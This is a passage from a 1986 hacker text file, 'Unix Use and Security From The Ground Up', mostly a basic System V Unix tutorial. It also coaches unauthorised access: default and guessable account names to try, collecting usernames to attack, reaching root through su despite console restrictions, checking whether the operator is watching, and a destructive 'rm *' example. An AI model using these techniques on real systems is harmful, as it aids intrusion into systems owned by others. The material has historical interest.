home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / Hack Foo.sit / Hack Foo / Unix001.txt.mac < prev   
Text File  |  1996-11-29  |  139KB  |  2,825 lines

  1.                 *************************************************
  2.                 *************************************************
  3.                 **                                             **
  4.                 **         Unix Use and Security From          **
  5.                 **              The Ground Up                  **
  6.                 **                                             **
  7.                 **                   by                        **
  8.                 **                                             **
  9.                 **              The Prophet                    **
  10.                 **                                             **
  11.                 **                                             **
  12.                 *************************************************
  13.                 *************************************************
  14.  
  15. December 5, 1986.
  16.  
  17. INTRODUCTION
  18. ------------
  19.         The Unix operating system is one of the most heavily used mainframe 
  20. operating systems today. It runs on many different computers (Dec VAX's, AT&T's 
  21. 3bx series, PDP-11's, and just about any other you can think of- including 
  22. PC's), and there are many different, but pretty much similar, versions of it. 
  23. These Unix clones go by many different names- here are the most common: Xenix, 
  24. Ultrix, Ros, IX/370 (for the IBM 370), PCIX (for the IBM PC), and Berkely (BSD) 
  25. Unix. This file will concentrate on AT&T System V Unix, probably the most 
  26. heavily used version. (The next most heavily used is Berkely Unix.) This file 
  27. will cover just about everything all but THE most advanced hacker will need to 
  28. know about the Unix system, from the most rodent information to advanced 
  29. hacking techniques. This is the second version of this file, and as I discover 
  30. any errors or new tricks, I will update it. This file is, to the best of my 
  31. knowledge, totally accurate, however, and the techniques in it will work just 
  32. as described herein. Note, that these techniques will work on System V Unix. 
  33. Not necessarily all, but most, should work on most other versions of Unix as 
  34. well. Later, if this file is received well, and there is demand for another, I 
  35. will release a file on yet more advanced techniques. If you wish to contact me, 
  36. I can be reached several ways. First, on these boards:
  37.  
  38. Shadow Spawn   219-659-1503
  39. Private Sector 201-366-4431 (As prophet, not The Prophet...some rodent stole
  40.                              my name.)
  41. Ripco          312-528-5020
  42. Stalag 13      215-657-8523
  43. Phreak Klass 2600 806-799-0016
  44.  
  45. Or at this voice message system:
  46.  
  47. 800-556-7001
  48. Box 7023
  49.  
  50. I welcome any suggestions, corrections, or feedback of any kind. And lastly, 
  51. thanks for taking the time to read this:
  52.  
  53. THE USUAL DISCLAIMER:
  54. ---------------------
  55.         This file is for [of course] informational purposes only. <Snicker> I 
  56. don't take responsibility for anything anyone does after reading this file.
  57. _______________________________________________________________________________
  58.  
  59.  
  60. IDENTIFYING UNIX SYSTEMS AND LOGGING IN
  61. ---------------------------------------
  62.         A Unix system can easily be identified by its prompts. When you first 
  63. connect to a Unix system, you should receive the login prompt, which is usually 
  64. "Login:" (Note, that the first character may or may not be capitalized.) On 
  65. some systems, this prompt may be ";Login:" or "User:" (Again, the first letter 
  66. may or may not be capitalized.) This may be preceded by a short message, 
  67. (usually something like "WARNING!!! This system is for authorized users 
  68. only!"), the name of the company that owns the system, or the uucp network name 
  69. of the system. (The uucp facilities will be explained in detail later.) At this 
  70. point, you should enter the user name and press return. (You should be in 
  71. lowercase if your terminal supports it.) You should then receive the password 
  72. prompt, "Password:" (And yet again, the "P" may or may not be capitalized.) At 
  73. this point, you should enter your password and press return. If you have 
  74. specified the correct username/password pair, you will then be admitted into 
  75. the system. If you have entered a non-existant username or an incorrect 
  76. password, you will receive the message "Login incorrect" and will be returned 
  77. to the login prompt. There is little information given before login, and there 
  78. is no way to find valid usernames from pre-login information.
  79.         There are no "default" passwords in Unix. When the system is initially 
  80. set up, none of the default accounts or any of the accounts created by the 
  81. system operators has a password, until the system operator or the account owner 
  82. set one for the account. Often, lazy system operators and unwary users do not 
  83. bother to password many (and in some cases, all) of these accounts. To log in 
  84. under an account that doesn't have a password, you have only to enter the 
  85. username at the login prompt. 
  86.         You may encounter some occasional error messages when attempting to log 
  87. in under certain accounts. Here are some of the more common messages, and their 
  88. causes:
  89.         1. "Unable to change directory to /usr/whatever"-This means that the 
  90.                 account's home directory, the directory which it is placed in
  91.                 upon logon, does not exist. On some systems, this may prevent
  92.                 you from logging under that account, and you will be returned
  93.                 to the login prompt. On other systems, you will simply be
  94.                 placed in the root directory. If this is the case, you will
  95.                 see the message "Changing directory to '/'".
  96.         2. "No shell"-this means that the account's shell, or command 
  97.                 interpreter does not exist. On some systems, the account will
  98.                 not be allowed to log in, and you will be returned to the login
  99.                 prompt. On other systems, the account will be admitted into the
  100.                 system using a default shell, usually the Bourne shell. (The 
  101.                 shell will be explained later.) If this is the case, you will
  102.                 see the message "Using /bin/sh".
  103.  
  104.  
  105. UNIX ACCOUNTS
  106. -------------
  107.         There are two types of Unix accounts-user and superuser accounts. User 
  108. accounts are the normal user accounts. These accounts have no privileges. 
  109. Superuser accounts are the system operator accounts. These accounts have full 
  110. privileges, and are not bound by the file and directory protections of other 
  111. users. In Unix, there is no hierarchy of privileges-either an account has full 
  112. privileges, or it has none.
  113.         Unix usernames are up to 14 characters long, but usually are within the 
  114. range of 1-8. The usernames can contain almost any characters, including 
  115. control and special characters. (The accounts will usually not contain the 
  116. characters @, control-d, control-j, or control-x, as these characters have 
  117. special meanings to the Unix operating system.) The Unix system comes initially 
  118. configured with quite a few default accounts, some of which are superuser and 
  119. some of which are only user-level accounts. Here is a list of the default 
  120. accounts which usually have superuser privileges:
  121. root (Always!)
  122. makefsys
  123. mountfsys
  124. umountfsys
  125. checkfsys
  126.  
  127. The root account is always present on the system, and always has superuser 
  128. capabilities. (Note: most Unix System V systems come initially set up with a 
  129. security feature that prevents superuser accounts from logging in remotely. If 
  130. you attempt to log in under a superuser account remotely on a system with this 
  131. feature, you will receive the message "Not on console", and will be refused 
  132. admission to the operating system. This will NOT prevent you from using 
  133. superuser accounts remotely-you simply have to log in under a user account and 
  134. then switch over to a superuser account using the su utility, which will be 
  135. described later.)
  136. Here is a list of the user-level default accounts:
  137. lp
  138. daemon
  139. trouble
  140. nuucp
  141. uucp
  142. bin
  143. rje
  144. adm
  145. sysadm
  146. sync
  147.  
  148. The bin account, although it is only a user account, is particularly powerful, 
  149. as it has ownership of many of the system's important directories and files. 
  150. Although these are the only default accounts on System V Unix, there are many 
  151. other accounts which I have found to be common to many Unix systems. Here is a 
  152. list of some of the accounts I have found on many Unix systems:
  153. batch           admin           user            demo            test
  154. field           unix            guest           pub             public
  155. standard        games           general         student         help
  156. gsa             tty             lpadmin
  157.  
  158. Also try variations on the account names, such as rje1, rje2, user1, user2, 
  159. etc. Also, try variations on people's names and initials, such as doej, doe,
  160. john, johnd, jjd, etc.
  161.         No matter what the format for the usernames, one thing is common to all 
  162. systems-almost all of the usernames will begin with a lowercase letter. There 
  163. is a good reason for this-when logging into the system, if the first character 
  164. of the username you type in is in uppr-case, the system automatically assumes 
  165. that your terminal does not support lower-case. It will then send all output to 
  166. you in upper-case, with characters that are supposed to be upper-case preceded 
  167. by a backslash ("\", the Unix escape character), to differentiate them from the 
  168. characters which are meant to be in lower-case. Unix *always* differentiates 
  169. between the cases, so it is best to stay in lower-case while on the system.
  170.         As mentioned before, there are no "default" passwords on Unix. When an 
  171. account is created, it has no password, until the superuser or the account's 
  172. owner sets one for it. Unix passwords are a maximum of 11 characters. The 
  173. password may contain any character, and the system distinguishes between upper 
  174. and lower case characters. Many Unix systems implement a special security 
  175. feature under which passwords must contain at least 2 non-alphanumeric 
  176. characters (similar to Compuserve's password protection). Yet another password 
  177. security feature of Unix allows the superuser to set an expiration date on 
  178. users' passwords.
  179.  
  180.  
  181. COMMAND LOGINS
  182. --------------
  183.         Many systems have accounts known as "command logins". These are 
  184. accounts that log in, execute a single command, and are then logged out. These 
  185. accounts rarely have passwords. Here is a list of common command logins:
  186. who     -This is a particularly useful command login. When you enter this at
  187.         the username of a system with this particular account, the system will
  188.         display a list of the users currently on the system. A good way to get
  189.         valid usernames to hack.
  190. time    -Not very useful. Just displays the time.
  191. date    -Ditto the above, but displays the current date. Great if you don't 
  192.         have a calendar.
  193. sync    -This default account is sometimes set up as a command login. It merely
  194.         executes the sync command, which causes any data which is meant to be
  195.         stored to be written to disk.
  196.  
  197. UNIX SPECIAL CHARACTERS
  198. -----------------------
  199.         The Unix operating system interprets certain characters in special 
  200. ways. Provided here is a list of those special characters, and their meanings 
  201. to the Unix operating system:
  202.  
  203. Control-D       -This is the Unix end-of-file character.
  204. Control-J       -Some systems interpret this, rather than Control-M, as the 
  205.                 return character, while others may use both. The vast majority, 
  206.                 however, will only use Control-M.
  207. Control-Delete  -This is the Unix kill character. It will automatically end 
  208.                 your current process.
  209. @               -Some systems use this as the kill character.
  210. \               -This is the Unix escape character. Its main use it to 
  211.                 differentiate between upper- and lower-case characters when 
  212.                 logged in on a terminal that only supports upper-case. For 
  213.                 instance, if you wanted to send the command "cd /Mrs/data",
  214.                 (never mind what it does right now), you would type this:
  215.                 (this is how it would look on your upper-case only terminal)
  216.                 CD /\MRS/DATA
  217.                 The backslash before the M would let the system know that the M 
  218.                 supposed to be upper-case, while the others would simply be 
  219.                 interpreted as lower-case.
  220.  
  221.         The characters will rarely be used in usernames and passwords because 
  222. of the way they are interpreted. Note, however, that these values may usually 
  223. be changed once inside the system using the stty command, which will be 
  224. explained later. for instance, the end of file character could be changed to 
  225. control-A if you wished.
  226.  
  227. THE UNIX SHELL
  228. --------------
  229.         The Unix shell is the command interpreter program that accepts your 
  230. input and carries out your commands. It is NOT the operating system itself, it 
  231. is the interface between the user and the operating system. The shell is a 
  232. program that is executed when you are logged in, and when you end the shell 
  233. program, you are logged out of the system. There is nothing special about the 
  234. shell program-it is just a regular program, like any other on the Unix system. 
  235. In fact, once you are logged on, you can execute another shell just as you 
  236. would execute a program. This ability, to run multiple shell levels, can be 
  237. used to perform some interesting tricks that will be detailed later in this 
  238. file. There is also more than one kind of shell. All the shells perform the 
  239. same basic function of interpreting the user's commands, but there are a few 
  240. differences. Here is a list of the different shells, their unique 
  241. characteristics, and how to tell which shell you are using:
  242.  
  243. Shell
  244. -----
  245. sh      -This is the Bourne shell, the standard shell of Unix System V, and the
  246.         focus of this file. This shell gives user-level accounts a command 
  247.         prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix,
  248.         this shell gives an ampersand ("&") prompt.
  249.  
  250. csh     -This is the C shell, developed by the Berkely University Science 
  251.         department. This shell is pretty much the same as the Bourne shell, but
  252.         features different shell programming control structures [shell 
  253.         programming will be explained later, in the section on Unix software
  254.         development], and has a few luxuries such as aliasing (giving a command 
  255.         or a series of commands a new name), and it keeps a history of the 
  256.         commands you enter. This shell gives a "%" prompt for user accounts and
  257.         a "#" prompt for superuser accounts. 
  258.  
  259. ksh     -This is the new, Korn shell. This shell combines features of both the 
  260.         Bourne shell and the C shell. It boasts the Bourne shell's easier shell
  261.         programming, along with the C shell's aliasing and history. Its prompts
  262.         are "$" for users and "#" for superusers.
  263.  
  264. rsh     -This is the restricted Bourne shell. It is used for accounts that the
  265.         superuser wishes to restrict the commands available to. It will not 
  266.         allow you to execute commands outside of your searchpath (which will be
  267.         explained later, also, in the section on software development), and 
  268.         will not let you change directories or change the values of shell
  269.         variables. In all other respects, it is similar to the Bourne shell. A 
  270.         later section of this file will detail ways to overcome the
  271.         restrictions of this shell.
  272.  
  273. ua      -This is a lousy, menu-driven shell for the AT&T Unix PC. (Yes, there
  274.         are some of those with dialups!) It implements a lousy windowing
  275.         system that is SLOOOW, even at 2400 baud. Luckily, you can exit to the
  276.         Bourne shell from the ua shell.
  277.  
  278.         These are by no means all of the shells you will run across. These are 
  279. only the "official" shells provided by the distributors of the Unix operating 
  280. system. I've run across many "home-made" shells in my time. Also, any compiled 
  281. program can be used as a shell. For instance, I've used systems run by 
  282. businesses where one account logged in using an accounting program as a shell. 
  283. This prevented the account from being used to do anything other than use the 
  284. accounting program. Other good examples of this are the command logins-the who 
  285. command login, for example, uses the who program as its shell. When the program 
  286. is finished, the account is logged out. You will most definitely encounter 
  287. other such accounts as you hack Unix.
  288.  
  289. UNIX FILES AND DIRECTORIES
  290. --------------------------
  291.         Unix files and directories are referenced with pathnames, a la MS-DOS.
  292. If you are familiar with MS-DOs, then you should have no problem understanding 
  293. this section. Unix files and directories are referenced in the almost the exact 
  294. same way-the only difference is that it uses the "/" character, not the 
  295. backslash, to separate the directories in the pathname.
  296.         Pathnames are a simple concept to understand, but are difficult to 
  297. explain. Imagine the system's files and directories laid out in a tree fashion, 
  298. like this:
  299.                                 / (root directory)
  300.                                 :
  301.                                 :
  302.                         -------------------------
  303.                         :                       :
  304.                         :                       :
  305.                         usr (dir)              bill (dir)
  306.                         :                       :
  307.                  --------------           --------------
  308.                  :            :           :            :
  309.               junk (file)  source (dir)  memo (file)  names (file)
  310.                               :
  311.  
  312. "/" is the root directory. This is the top directory in the system tree, and 
  313. all other files and directories are referenced in relation to this directory. 
  314. The root directory has 2 subdirectories in it, "usr" and "bill". In the usr 
  315. directory, there is a file called "junk" and an empty directory called 
  316. "source". In the directory bill, there are 2 files, "memo" and "names". You 
  317. specify pathnames by starting at the top of the system, "/", and tracing your 
  318. way down the system tree to the file or directory you wish to reference, 
  319. separating each directory you must pass through to get to it with a slash. For 
  320. instance, the pathname of the file "junk" would be "/usr/junk". The pathname of 
  321. the usr directory would be "/usr". The pathname of the source directory would 
  322. be "/usr/source". The pathname of the bill directory would be "/bill", and the 
  323. pathnames of the 2 files which reside in it would be "/bill/memo" and 
  324. "/bill/names".
  325.         Files and directories can also be referenced by their base names if 
  326. they are in your current directory. For instance, if you were in the directory 
  327. "usr", you could reference the file "/usr/junk" by its base name, "junk". If 
  328. you were in the root directory, you could reference the bill directory by its 
  329. base name, "bill". You can reference the file directly above your current 
  330. directory in the system tree as ".." and your current directory can be 
  331. referenced as "."
  332.         Unix file and directory names can be up to 14 characters in length. The
  333. filename can contain any ASCII character, including control characters, except
  334. a space. It may contain both upper- and lower-case, and Unix does distinguish
  335. between the two. Unix does not use filename extensions, a la VMS or MS-DOS, to 
  336. show the kind of file a file is. A period, in Unix, is just another character 
  337. in the filename, not a separator between 2 fields in the name. File names which 
  338. begin with a period are called "hidden" files-that is, they are only revealed 
  339. if you issue a special command.
  340.         There are 3 kinds of files in Unix. These are text files, binary files,
  341. and device files. Text files are just what you'd think they are from the name-
  342. files of ASCII text, just like what you're reading right now. Binary files are
  343. executable machine-code files. (There are also executable text files, called 
  344. shell scripts, that will be explained in detail in the section on Unix software 
  345. development.) Device files are files that represent the system's I/O devices-
  346. disk drives, terminals, etc. Remember, that Unix was created as an enviroment 
  347. for software development. Its designers wished for programs written for Unix 
  348. systems to be as transportable between different models of machines running 
  349. the operating system as possible. By representing the I/O devices as files, 
  350. they eliminated the incompatability in the code that handled I/O. The program 
  351. simply has to read and write from/to the file, and the Unix operating system 
  352. handles the system-dependant details.
  353.  
  354. BASIC UNIX COMMANDS
  355. -------------------
  356.         This section will describe some basic Unix commands, and detail how to 
  357. get further help on-line. It will briefly provide the syntax for a few commands 
  358. you will find necessary to know in order to find your way around on the system.
  359.         Unix will usually only require that you use the base name of a file or 
  360. directory you wish to reference if it is in the directory you are currently in. 
  361. Most commands will also let you specify full pathnames if you wish to reference 
  362. files in other parts of the system. Most commands will also let you use several 
  363. wildcard characters when referencing files and directories. These are:
  364. ?       -This means to accept any single character in the place of the question
  365.         mark. For instance, "t?m" would include both "tom" and "tim".
  366.  
  367. *       -This means to accept any character, group of characters, or nothing in
  368.         the position of the asterisk. For example, "t*m" would include "thom",
  369.         "tom", and "tim".
  370. []      -This means to accept any character within the brackets in the position 
  371.         of the brackets. For instance, "t[oia]m" would include "tom", "tim", 
  372.         and "tam". You can also specify a range of characters in the brackets 
  373.         by using a hyphen. For instance, "t[a-c]m" would include "tam", "tbm",
  374.         and "tcm".
  375.  
  376.         Most commands and programs in Unix take their input from the keyboard 
  377. and send their output to the screen. With most commands and programs, however, 
  378. you can instruct them to draw their input from a text file and redirect their 
  379. output to another file instead. For instance, assume there is a program on the 
  380. system called "encrypter", that takes its input from the keyboard, encrypts it, 
  381. and displays the encrypted data on the screen. You could instruct the program 
  382. to take its input, instead, from a previously prepared text file using the 
  383. input redirection character, "<". In Unix, as in MS-DOs (which is based in part 
  384. on Unix), you execute a program by typing its name. You wish the program to 
  385. take its input from a file in the directory you are currently in called 
  386. "top_secret". You would type "encrypter < top_secret". The program would then 
  387. read in the contents of the file top_secret and encrypt it, then print out the 
  388. encrypted form on the screen. Suppose you wanted to use the encrypter program 
  389. to encrypt files you wished to keep private? You could redirect the encrypted 
  390. output from the screen into another file. To do this, you would use the output 
  391. redirection character, ">". Say, you wished to save the output in a file called 
  392. "private". You would type "encrypter < top_secret > private". The encrypter 
  393. program would then read in the contents of the file top_secret and write the 
  394. encrypted output into the file "private". Nothing would be displayed to the 
  395. screen. If the file private does not exist, it will be created. If it 
  396. previously existed, its contents will be erased and replaced with the output 
  397. from the encrypter program. Perhaps you would want to add to the contents of a 
  398. file rather than replace its contents? This is done with ">>". The command 
  399. "encrypter < top_secret >> private" would append the output from the encrypter 
  400. to the current contents of the file private. Again, if the file private does 
  401. not already exist, it will be created.
  402.         Most commands have one or more options that you can specify. These are 
  403. placed after the command itself in the command line, and preceded by a hyphen. 
  404. For instance, let's say that the encrypter program had an option called 
  405. "x", which caused it to use a different encoding algorithm. You would 
  406. specify it by typing "encrypter -x". If a command has two or more options, you
  407. can usually specify one or more together in a stream. For instance, let's say 
  408. that the encrypter program has 2 options, x and y. You could specify both like 
  409. this: "encrypter -xy". If one or more of the options requires an argument, for 
  410. example the x option requires a 2 character key, you can specify the options 
  411. separately, like this: "encrypter -xaa -y", where aa is the 2-character key. 
  412.         The pipe character, "|", is used to channel the output of one command 
  413. or program into the input of another. For instance, suppose you had a command 
  414. called "report" that formatted documents into report format, and you had a file 
  415. called "myreport" that you wished to view in the report format. You could type:
  416. "cat myreport" | report". This would type out the contents of the file myreport 
  417. to the report command rather than the screen, and the report command would 
  418. format it and display it on the screen. (Note: this example could have been 
  419. done with I/O redirection by typing "report < myreport"...but it makes a good 
  420. example of the use of pipes.)
  421.         You can choose to execute commands and programs in the background-that 
  422. is, the command executes, but you are free to carry out other tasks in the 
  423. meantime. To do this, type in the command line, followed by " &". For instance, 
  424. "rm * &" would delete all the files in the directory, but your terminal would
  425. not be tied up. You would still be free to perform other tasks. When you do 
  426. this, the system will print out a number and then return you to the system 
  427. prompt. This number is the process number of the command. Process numbers will 
  428. be explained later in this section in the entry for the command "ps". The 
  429. command can be stopped before its completion with the kill command, also 
  430. explained in this section. Example:
  431.         $rm * &
  432.         1234
  433.         $
  434.  
  435. Note that when you use background processing, the command or program will still 
  436. takes its input from the keyboard (standard input device) and send its output 
  437. to the screen (standard output device), so if you wish for the command to work 
  438. in the background without disturbing you, you must redirect its input (if any) 
  439. and its output (if it's to the screen).
  440.  
  441. THE COMMANDS
  442. ------------
  443.  
  444. ls      -This command lists the files and subdirectories in a directory. If you 
  445.         simply type "ls", it will display the files in your current directory. 
  446.         You can also specify the pathname of another directory, and it will 
  447.         display the files in it. It will not display hidden files (files whose
  448.         name begins with a period). 
  449.  
  450.         Options:
  451.         a       -This option will display all files, including hidden files.
  452.  
  453.         Example:
  454.         $ ls -a
  455.  
  456.         .       ..      junk    source
  457.         $
  458.  
  459. cd      -This is the command used to move from one directory to another. To go 
  460.         to a directory directly below your current directory, type "cd 
  461.         <dirname>". To move up to the directory directly above your current 
  462.         directory, type "cd .."  You can also jump to any directory in the 
  463.         system from any other directory in the system by specifying the path-
  464.         name of the directory you wish to go to, such as "cd /usr/source".
  465.  
  466.         Example:
  467.         $cd /usr/source
  468.         $
  469.  
  470. pwd     -This prints out the pathname of the directory you are currently in. 
  471.         Useful if you forget where you're at in the system tree.
  472.  
  473.         Example:
  474.         $pwd
  475.         /usr/source
  476.  
  477. cat     -Displays the contents of a text file on the screen. The correct syntax 
  478.         is "cat <filename>". You can use basenames or pathnames.
  479.  
  480.         Example:
  481.         $cat memo
  482.         Bill, 
  483.           Remember to feed the cat!
  484.         -Martha
  485.         $
  486.  
  487. rm      -This deletes a file. Syntax: "rm <filename>".
  488.  
  489.         Example:
  490.         $rm junk
  491.         $
  492.  
  493. cp      -Copies a file. Syntax: "cp file1 file2", where file1 is the file you
  494.         wish to copy, and file2 is the name of the copy you wish to create. If 
  495.         file2 already exists, it will be overwritten. You may specify pathnames
  496.         for one or both arguments.
  497.  
  498.         Example:
  499.         $cp /usr/junk /usr/junk.backup
  500.  
  501. stty    -Displays/sets your terminal characteristics. To display the current 
  502.         settings, type "stty". To change a setting, specify one of the options
  503.         listed below.
  504.  
  505.    Options:
  506.    echo         -System echoes back your input.
  507.    noecho       -System doesn't echo your input.
  508.    intr 'arg'   -Sets the break character. The format is '^c' for control-c, 
  509.                 etc. '' means no break character.
  510.    erase 'arg'  -Sets the backspace character. Format is '^h' for control-h,
  511.                 etc. '' means no backspace character.
  512.    kill 'arg'   -Sets the kill character (which means to ignore the last line
  513.                 you typed). Format is the same as for intr and erase, 
  514.                 '^[character]', with '' meaning no kill character.
  515.  
  516.         Example:
  517.         $stty intr '^c' erase '^h'
  518.         $stty
  519.         stty -echo intr '^c' erase '^h' kill '^x'
  520.         
  521. lpr     -This command prints out a file on the Unix system's printer, for you 
  522.         to drop by and pick up (if you dare!) The format is "lpr <filename>".
  523.  
  524.         Example:
  525.         $lp junk
  526.  
  527. ed      -This is a text file line editor. The format is "edit <filename>". The 
  528.         file you wish to modify is not modified directly by the editor; it is 
  529.         loaded into a buffer instead, and the changes are only made when you 
  530.         issue a write command. If the file you are editing does not already 
  531.         exist, it will be created as soon as issue the first write command. 
  532.         When you first issue the edit command, you will be placed at the
  533.         command prompt, ":" Here is where you issue the various commands. Here
  534.         is list of some of the basic editor commands.
  535.         #       -This is any number, such as 1, 2, etc. This will move you down 
  536.                 to that line of the file and display it.
  537.         d       -This deletes the line you are currently at. You will then be
  538.                 moved to the previous line, which will be displayed.
  539.         a       -Begin adding lines to the file, just after the line that you 
  540.                 are currently on. This command will put you in the text input
  541.                 mode. Simply type in the text you wish to add. To return to the
  542.                 command mode, type return to get to an empty line, and press
  543.                 the break key (which is whatever character you have set as your
  544.                 break key). It is important to set the break character with 
  545.                 stty before you use the editor!
  546.         /       -Searches for a pattern in the file. For example, "/junk" would
  547.                 search the file from your current line down for the first line
  548.                 which contains the string "junk", and will move you to that 
  549.                 line if it finds one.
  550.         i       -Insert. Works similar to a, except that the text is inserted
  551.                 before the line you are currently on.
  552.         p       -Prints out a line or lines in the buffer. "p" by itself will
  553.                 display your current line. "#p" will display the line "#". 
  554.                 You may also specify a range of lines, such as "1,3p" which
  555.                 will display lines 1-3. "1,$p" will print out the entire file.
  556.         w       -Write the changes in the buffer to the file.
  557.         q       -Quit the editor.
  558.  
  559.         Example:
  560.         $edit myfile
  561.         Editing "myfile" [new file]
  562.         0 lines, 0 characters
  563.         :a
  564.         I am adding stupid text to myfile.
  565.         This is a test.
  566.         ^c [this is assumed as a default break character in this example]
  567.         :1,$p
  568.         I am adding stupid text to myfile.
  569.         This is a test.
  570.         :2
  571.         This is a test.
  572.         :d
  573.         I am adding stupid text to myfile.
  574.         :w
  575.         :q
  576.         $
  577.  
  578. grep    -this command searches for strings of text in text files. The format is
  579.         grep [string] [file]. It will print out every line in the file that 
  580.          contains the string you specified.
  581.  
  582.         Options:
  583.         v       -Invert. This will print out every line that DOESN'T contain
  584.                 the string you specified.
  585.  
  586.         Example:
  587.         $ grep you letter
  588.         your momma!
  589.         I think you're going to get caught.
  590.         $
  591.  
  592. who     -This will show the users currently logged onto the system.
  593.  
  594.         Example:
  595.         $ who
  596.  
  597.         root    console Mar 10  01:00
  598.         uucp    contty  Mar 30  13:00
  599.         bill    tty03   Mar 30  12:15
  600.         $
  601.         Now, to explain the above output: the first field is the username of 
  602.         the account. The second field shows which terminal the account is on.
  603.         Console is, always, the system console itself. On many systems where
  604.         there is only one dialup line, the terminal for that line is usually 
  605.         called contty. the tty## terminals can usually be either dialups or
  606.         local terminals. The last fields show the date and time that the user
  607.         logged on. In the example above, let's assume that the current time and
  608.         date is March 30, and the time is 1:00. Notice that the time is in 24 
  609.         hour format. Now, notice that the root (superuser) account logged in on
  610.         March 10! Some systems leave the root account logged in all the time on
  611.         the console. So, if this is done on a system you are using, how can you
  612.         tell if the system operator is really online or not? Use the ps 
  613.         command, explained next.
  614.  
  615. ps      -This command displays information about system processes.
  616.  
  617.         Options:
  618.         u       -this displays information on a specific user's processes. For
  619.                 instance, to display the root account's processes:
  620.                 $ ps -uroot
  621.  
  622.                 PID     TTY     TIME    CMD
  623.                 1234    console 01:00   sh
  624.                 1675    ?       00:00   cron
  625.                 1687    console 13:00   who
  626.                 1780    tty09   12:03   sh
  627.  
  628.                 Now, to explain that: The first field is the process number. 
  629.                 Each and every time you start a processes, running a program,
  630.                 issueing a command, etc., that process is assigned a unique 
  631.                 number. The second is which terminal the process is being run
  632.                 on. The third field is when the process was started. The last
  633.                 field is the base name of the program or command being run.
  634.                 A user's lowest process number is his login (shell) process.
  635.                 Note that the lowerst process in the above example is 1234. 
  636.                 This process is being run on the console tty, which means the
  637.                 superuser is logged on at the system console. Note the ? as the
  638.                 tty in the next entry, for the cron process. You can ignore any
  639.                 processes with a question mark as the terminal. These processes
  640.                 are not bewing carried out by a user; they are being carried
  641.                 out by the system under that user's id. Next, note the entry
  642.                 for process # 1687, on the console terminal, "who". this means
  643.                 that the superuser is executing the who command...which means
  644.                 he is currently actively on-line. The next entry is interest-
  645.                 ing...it shows that the root user has a shell process on the 
  646.                 terminal tty09! This means that someone else is logged in
  647.                 under the root account, on tty09. If more than one person is
  648.                 using an account, this option will display information for all
  649.                 of them, unless you specify the next option...
  650.  
  651.         t       -This allows you to select processes run on a specific term-
  652.                 inal. For example:
  653.                 $ps -t console
  654.                 will show all the processes currently being run on the console.
  655.  
  656.                 Example:
  657.                 Remember, options can usually be combined. This will show all
  658.                 the root user's processes being run on the system console:
  659.                 $ ps -uroot -tconsole
  660.  
  661.                 PID     TTY     TIME    CMD
  662.                 1234    console 01:00   sh
  663.                 1687    console 13:00   who
  664.                 $
  665.  
  666. kill    -Kills processes. Syntax: kill [-#] process#. You must know the process
  667.         number to kill it. You can, optionally, specify an option of 1-9, to
  668.         determine the power of the kill command. Certain kinds of processes,
  669.         like shell processes, require more power to kill. Kill -9 will stop any
  670.         process. You must have superuser capabilities fo kill another user's
  671.         processes (unless he's using your account).
  672.  
  673.         Example:
  674.         $kill -9 1234
  675.         1234 killed.
  676.         $
  677.  
  678. write   -This command is for on-line realtime user to user communications. To 
  679.         communicate with a user, type "write <username>". If more than one
  680.         person is logged in under that user name, you must specify a specific
  681.         terminal you wish to speak to. When you do this, the person you wish
  682.         to communicate with will see:
  683.         Message from [your account name] tty## [<--your terminal]
  684.  
  685.         Now you can type messages, and they will be displayed on that person's
  686.         terminal when you press return. When you are finished, press control-D
  687.         to quit.
  688.  
  689.         Example:
  690.         $ write root
  691.         Fuck you I'm a hacker!  [This is not advised.]
  692.         ^d
  693.         $
  694.  
  695. mail    -The Unix mail facilities, used to send/receive mail. To send mail, 
  696.         type "mail <username>". Enter your message and press control-d to send.
  697.         To read your mail, type "mail". Your first letter will be displayed,
  698.         and then you will be given a "?" prompt.  
  699.         Here are the legal commands you give at this point: 
  700.         ##      -Read message number ##.
  701.         d       -Delete last message read.
  702.         +       -Go to next message.
  703.         -       -Move back one message.
  704.         m       -Send mail to user.
  705.         s       -Save last message read. You can specify the name of the file
  706.                 to which it is saved, or it will be saved to the default file,
  707.                 mbox.
  708.         w       -Same as s, but will save the message without the mail file
  709.                 header.
  710.         x       -Exit without deleting messages that have been read.
  711.         q       -Exit, deleting messages that have been read.
  712.         p       -Print last message read again.
  713.         ?       -Lists these commands.
  714.  
  715.         Examples:
  716.         To send mail:
  717.         $ mail root
  718.         Hi bill! This is a nice system.
  719.         -John
  720.         ^d
  721.         $
  722.         To read mail:
  723.         $ mail
  724.         From john Thu Mar 13 02:00:00  1986
  725.         Hi bill! This is a nice system.
  726.         -John
  727.         ? d
  728.         Message deleted.
  729.         ?q
  730.         $
  731.  
  732. crypt   -This is the Unix file encryption utility. Type "crypt". You will then
  733.         be prompted to enter the password. You then enter the text. Each line
  734.         is encrypted when you press return, and the encrypted form is displayed
  735.         on the screen. So, to encrypt a file, you must use I/O redirection.
  736.         Type "crypt [password] < [file1] > [file2]". This will encrypt the con-
  737.         tents of file1 and place the encrypted output in file2. If file 2 does
  738.         not exist, it will be created.
  739.  
  740. passwd  -This is the command used to change the password of an account. The
  741.         format is "passwd <account>". You must have superuser capabilities to
  742.         change the password for any account other than the one you are logged
  743.         in under. To change the password of the account you are currently
  744.         using, simply type "passwd". You will then be prompted to enter the
  745.         current password. Next, you will be asked to enter the new password.
  746.         Then you will be asked to verify the new password. If you verify the
  747.         old password correctly, the password change will be complete. (Note:
  748.         some systems use a security feature which forces you to use at least
  749.         2 non-alphanumeric characters in the password. If this is the case with
  750.         the system you are on, you will be informed so if you try to enter a
  751.         new password that does not contain at least 2 non-alphanumeric char-
  752.         acters.)
  753.  
  754. su      -This command is used to temporarily assume the id of another account.
  755.         the format is "su <account>". If you don't specify an account, the
  756.         default root is assumed. If the account has no password, you will then
  757.         assume that account's identity. If it does have a password, you will
  758.         be prompted to enter it. Beware of hacking passwords like this, as the
  759.         system keeps a log of all attempted uses, both successful and un-
  760.         successful, and which account you attempted to access.
  761.  
  762. mkdir   -This command creates a directory. the format is "mkdir <dirname>".
  763.  
  764. rmdir   -This command deletes a directory. The directory must be empty first.
  765.         The format is "rmdir <dirname>".
  766.  
  767. mv      -Renames a file. The syntax is "mv [oldname] [newname]". You can use
  768.         full pathnames, but the new name must have the same pathname as the
  769.         old name, except for the filename itself.
  770.  
  771. -------------------------------------------------------------------------------
  772.         Further help can usually be gained from the system itself. Most systems 
